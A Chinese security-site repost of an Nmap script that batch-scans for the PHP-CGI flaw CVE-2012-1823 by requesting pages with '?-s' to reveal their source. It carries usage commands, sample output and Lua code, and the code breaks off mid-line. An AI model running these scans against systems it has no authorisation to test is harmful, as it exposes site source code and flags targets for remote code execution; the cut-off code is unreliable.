CVE-2012-1823 PHP-CGI漏洞批量扫描脚本

2012-05-05 189595人围观 工具

国外出的批量扫描CVE-2012-1823 PHP-CGI漏洞的脚本,利用的是公开的-s参数。

普及下php命令行参数-s的意思:

-s 将php程序文件用转化为彩色格式的HTML(比如保留字用绿色,函数和变量为蓝色,注释为黄色而字串则是红色等等。

而脚本里面就是根据输出的颜色来进行判断是否存在漏洞,判断成功率基本在100%,该脚本是放在nmap里面使用的。

-- @usage
-- nmap -sV --script http-vuln-cve2012-1823 
 
-- nmap -p80 --script http-vuln-cve2012-1823 --script-args http-vuln-cve2012-1823.uri=/test.php 
 
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-vuln-cve2012-1823:
-- |   VULNERABLE:
-- |   PHP-CGI Remote code execution and source code disclosure
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:2012-1823
-- |     Description:
-- |       According to PHP's website, "PHP is a widely-used general-purpose
 
-- | scripting language that is especially suited for Web development and
 
-- |       can be embedded into HTML." When PHP is used in a CGI-based setup
 
-- | (such as Apache's mod_cgid), the php-cgi receives a processed query -- | string parameter as command line arguments which allows command-line -- | switches, such as -s, -d or -c to be passed to the php-cgi binary, -- | which can be exploited to disclose source code and obtain arbitrary
 
-- |       code execution.
-- |     Disclosure date: 2012-05-3
-- |     Extra information:
-- |       Proof of Concept:/index.php?-s
-- |     References:
-- |       http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
-- |_      http://ompldr.org/vZGxxaQ
--
-- @args http-vuln-cve2012-1823.uri URI. Default: /index.php
 
--

Paulino Calderón Pale
Website: http://calderonpale.com
Twitter: http://twitter.com/calderpwn
Code :

description = [[
Detects PHP-CGI installations that are vulnerable to CVE-2012-1823, This vulnerability is critical and it allows attackers to retrieve source code and execute code remotely.
 
The script works by appending "?-s" to the uri to make vulnerable php-cgi handlers return colour syntax highlighted source. We use the pattern "
-- nmap -p80 --script http-vuln-cve2012-1823 --script-args http-vuln-cve2012-1823.uri=/test.php 
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-vuln-cve2012-1823:
-- |   VULNERABLE:
-- |   PHP-CGI Remote code execution and source code disclosure
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:2012-1823
-- |     Description:
-- |       According to PHP's website, "PHP is a widely-used general-purpose
-- |       scripting language that is especially suited for Web development and
-- |       can be embedded into HTML." When PHP is used in a CGI-based setup
-- |       (such as Apache's mod_cgid), the php-cgi receives a processed query
-- |       string parameter as command line arguments which allows command-line
-- |       switches, such as -s, -d or -c to be passed to the php-cgi binary,
-- |       which can be exploited to disclose source code and obtain arbitrary
-- |       code execution.
-- |     Disclosure date: 2012-05-3
-- |     Extra information:
-- |       Proof of Concept:/index.php?-s
-- |     References:
-- |       http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
-- |_      http://ompldr.org/vZGxxaQ
--
-- @args http-vuln-cve2012-1823.uri URI. Default: /index.php
---
 
author = "Paulino Calderon"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit","vuln","intrusive"}
 
require "shortport"
require "http"
require "vulns"
 
portrule = shortport.http
 
action = function(host, port)
  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/index.php"
 
  local vuln = {
       title = 'PHP-CGI Remote code execution and source code disclosure',
       state = vulns.STATE.NOT_VULN, -- default
       IDS = {CVE = '2012-1823'},
       description = [[
According to PHP's website, "PHP is a widely-used general-purpose
scripting language that is especially suited for Web development and
can be embedded into HTML." When PHP is used in a CGI-based setup
(such as Apache's mod_cgid), the php-cgi receives a processed query
string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary,
which can be exploited to disclose source code and obtain arbitrary
code execution.]],
       references = {
          'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/',
           'http://ompldr.org/vZGxxaQ',
       },
       dates = {
           disclosure = {year = '2012', month = '05', day = '3'},
       },
     }
  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
 
  local reg_session = http.get(host, port, uri)
  if reg_session and reg_session.status == 200 then
    if string.match(reg_session.body, "

来源:dis9

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